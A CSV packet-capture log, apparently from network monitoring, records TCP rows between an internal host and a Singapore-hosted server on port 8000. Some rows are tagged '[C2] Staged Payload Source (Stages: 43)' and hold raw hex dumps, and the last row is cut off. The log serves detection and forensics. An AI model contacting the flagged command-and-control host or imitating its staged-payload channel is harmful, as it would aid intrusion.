Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ac540004006a52ec0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35525, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42286, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:35.856773,206,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff84000800640060a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45048, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16390, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:35.856790,207,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ac640004006a52dc0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..-....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35526, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42285, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:36.717742,208,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1686225000 Ack=614774839,bc24112907bbbc2411360d0c08004500003daff9400080063ff10a98980bc0a3a789fa491f406481c06824a4b8375018201403e200001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45049, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16369, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225000, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 994, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:06:36.717773,209,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000288ac740004006a538c0a3a7890a98980b1f40fa4924a4b8376481c07d5010003f0aeb0000,\".$.6\n..$.)....E..(..@.@..8....\n....@.I$..7d..}P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35527, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42296, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:37.731860,210,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029affa4000800640040a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45050, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16388, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:37.731881,211,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ac840004006a52bc0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..+....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35528, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42283, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:38.747591,212,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029affb4000800640030a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45051, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16387, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:38.747617,213,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ac940004006a52ac0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..*....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35529, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42282, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:39.763117,214,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029affc4000800640020a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45052, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16386, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:39.763148,215,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348aca40004006a529c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..)....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35530, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42281, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:40.778773,216,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029affd4000800640010a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45053, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16385, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:40.778812,217,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348acb40004006a528c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..(....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35531, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42280, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:41.794405,218,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029affe4000800640000a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45054, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16384, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:41.794428,219,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348acc40004006a527c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..'....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35532, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42279, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:42.794443,220,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029afff400080063fff0a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45055, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16383, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:42.794467,221,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348acd40004006a526c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..&....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35533, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42278, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:43.794488,222,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > 